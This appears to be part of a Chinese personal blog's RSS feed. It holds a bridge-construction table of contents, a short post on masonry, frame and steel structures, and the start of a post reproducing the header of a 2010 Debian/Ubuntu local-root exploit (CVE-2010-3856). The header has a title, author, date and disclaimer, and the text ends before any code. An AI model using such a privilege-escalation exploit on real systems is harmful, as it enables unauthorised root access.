<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc17350 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2<span style="font-family:宋体;">．６．基底处理	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">30</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc6300 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第三部分  桥梁下部工程	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">31</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc30173 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">3<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">1</span><span style="font-family:宋体;">．砼墩台的施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">31</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc17215 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">3<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">2</span><span style="font-family:宋体;">．石砌墩台的施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">33</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc600 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">3<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">3</span><span style="font-family:宋体;">．墩台帽施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">33</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc2883 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">3<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">4</span><span style="font-family:宋体;">．装配式墩台施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">34</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc10769 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">3<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">5</span><span style="font-family:宋体;">．柱式墩台施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">34</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc15464 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">3<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">6</span><span style="font-family:宋体;">．支座安装	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">34</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc9939 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第四部分  桥梁上部及附属工程	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">35</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc31279 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">4<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">1</span><span style="font-family:宋体;">．装配式构件的预制	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">35</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc9076 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">4<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">2</span><span style="font-family:宋体;">．先张法施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">37</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc27658 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">4<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">3</span><span style="font-family:宋体;">．后张法施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">38</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc31176 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">4<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">4</span><span style="font-family:宋体;">．钢筋砼连续梁桥的施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">40</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc15359 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">4<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">5</span><span style="font-family:宋体;">．装配式梁桥的安装	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">42</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc3382 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">4<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">6</span><span style="font-family:宋体;">．桥面及其附属工程	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">43</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc874 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">4<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">7</span><span style="font-family:宋体;">．桥涵附属工程	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">46</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc3832 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第五部分  钢筋	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">48</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc24255 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">5<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">1</span><span style="font-family:宋体;">．钢筋的一般规定	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">48</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc8521 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">5<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">2</span><span style="font-family:宋体;">．钢筋加工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">48</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc26752 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">5<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">3</span><span style="font-family:宋体;">．钢筋接头	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">50</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc14604 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">5<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">4</span><span style="font-family:宋体;">．钢筋骨架（网）的组成和安装	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">53</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc7364 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第六部分  混凝土．预应力混凝土	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">55</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc22968 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">6<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">1</span><span style="font-family:宋体;">．桥涵混凝土的一般规定	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">55</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc29178 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">6<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">2</span><span style="font-family:宋体;">配制混凝土所用的材料	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">55</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc25990 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">6<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">3</span><span style="font-family:宋体;">．混凝土配合比	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">56</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc6358 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">6<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">4</span><span style="font-family:宋体;">．混凝土的浇筑	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">59</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc19514 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">6<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">5</span><span style="font-family:宋体;">．预应力混凝土的浇筑	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">61</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc9348 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">6<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">6</span><span style="font-family:宋体;">．混凝土的养护	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">62</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc29944 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第七部分  模板．拱架与支架	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">63</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc9621 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">1</span><span style="font-family:宋体;">．一般要求	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">63</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc25607 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">1<span style="font-family:宋体;">．模板一般要求	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">63</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc21831 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2<span style="font-family:宋体;">．设计的一般要求	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">63</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc25459 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">2</span><span style="font-family:宋体;">．计算中考虑的因素	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">64</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc7189 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">3</span><span style="font-family:宋体;">．模板．支架和拱架常见构造及宜用材料	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">64</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc28138 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">一、&nbsp;</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">拼装式模板	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">64</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc21935 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">二、&nbsp;</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">滑升模板：	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">65</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc21827 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">三、&nbsp;</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">支架、拱架	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">65</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc1484 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">4</span><span style="font-family:宋体;">．模板制作安装要点	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">65</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc10903 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">5</span><span style="font-family:宋体;">．拱架．支架安装要点	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">66</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc3186 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">6</span><span style="font-family:宋体;">．模板．拱架和支架的拆卸	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">66</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc23513 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">7</span><span style="font-family:宋体;">．其他有关事项	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">67</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc7598 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第八部分  混凝土表层缺陷的类型及产生原因	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">67</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc23360 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">8<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">1</span><span style="font-family:宋体;">．缺陷的种类及其产生的原因	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">67</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc8142 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">一、缺陷的种类	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">67</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc1801 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">、二、缺陷的产生原因	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">67</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc27798 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">8<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">2</span><span style="font-family:宋体;">．桥梁结构表层缺陷修补常用材料配比及性能	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">68</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc31843 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">8.3<span style="font-family:宋体;">、混凝土桥梁结构表层修补的常用方法	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">69</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc5394 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第九部分  通道涵．盖板涵．箱涵．圆管涵	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">70</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc5750 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">9<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">1</span><span style="font-family:宋体;">．准备工作	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">70</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc1256 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">9<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">2</span><span style="font-family:宋体;">．管涵施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">70</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc8934 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">9<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">3</span><span style="font-family:宋体;">．通道涵．箱涵．盖板涵施工	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">71</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc2399 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">9<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">4</span><span style="font-family:宋体;">．填土	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">72</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc24394 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第十部分 &nbsp;&nbsp;施工安全技术	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">73</span></span></a></span></p>
<p></p>]]></description>
	<pubDate>Sat, 06 Nov 2010 15:12:02 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Bridge-construction</guid>

</item>
<item>
	<title>砖混结构、框架结构、钢结构</title>
	<link>http://www.holmesian.org/Masonry-structure_frame-structure_steel-structure</link>
	<description><![CDATA[<p><span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: medium; "><b>砖混结构</b>：有梁有柱（主要为构造柱、抗震、也有承重柱），有承重墙。砖混结构中的&ldquo;砖&rdquo;，指的是一种统一尺寸的建筑材料。也有其它尺寸的异型粘土砖，如空心砖等。&ldquo;混&rdquo;指的是由钢筋、水泥、砂石、水按一定比例配制的钢筋混凝土配件，包括楼板、过梁、楼梯、阳台、挑檐，这些配件与砖作的承重墙相结合，可以称为砖混结构式住宅。由于抗震的要求，<strong>砖混住宅一般在5&mdash;6层以下</strong>。</span></p>
<p>&nbsp;</p>
<p><span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: medium; "><b>框架结构：</b>有梁有柱，无承重墙，钢筋混凝土做梁柱。框架结构是指以钢筋混凝土浇注成承重梁柱，再用预制的加气混凝土、膨胀珍珠岩、浮石、蛭石、等轻质板材隔墙分户装配而成的住宅。适合大规模工业化施工，效率较高，工程质量较好。</span></p>
<p>&nbsp;</p>
<p><span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: medium; "><b>钢结构</b>：钢结构即指主要承重构件全部采用钢材制作</span><span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: medium; ">，混凝土比例相对框架结构少，主要用于梁跨度较大，自重轻的建筑，</span><span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: medium; ">它自重轻，能建超高摩天大楼；又能制成大跨度、高净高的空间，特别适合大型公共建筑。但钢结构建筑价格昂贵，装配施工组织要求高，一般只在高档写字楼宾馆采用，或在工业建筑上采用。</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Stiffness">究竟什么是刚度</a></p></div>]]></description>
	<pubDate>Sat, 06 Nov 2010 14:35:25 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Masonry-structure_frame-structure_steel-structure</guid>

</item>
<item>
	<title>Debian 5.0.6 /Ubuntu 0.04漏洞利用</title>
	<link>http://www.holmesian.org/Debian_door</link>
	<description><![CDATA[<p>&nbsp;10月24日针对Debian &lt;=5.0.6 /Ubuntu &lt;=10.04的提权漏洞</p>
<pre style="font-size:11px;"> # Exploit Title: Debian &lt;=5.0.6 /Ubuntu &lt;=10.04 Webshell-Remote-Root
# Date:   24-10-2010
# Author:   jmit
# Mail:   fhausberger[at]gmail[dot]com 
# Tested on:   Debian 5.0.6
# CVE:   CVE-2010-3856

--------------
| DISCLAIMER |
--------------

# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.

--------- 
| ABOUT |
---------

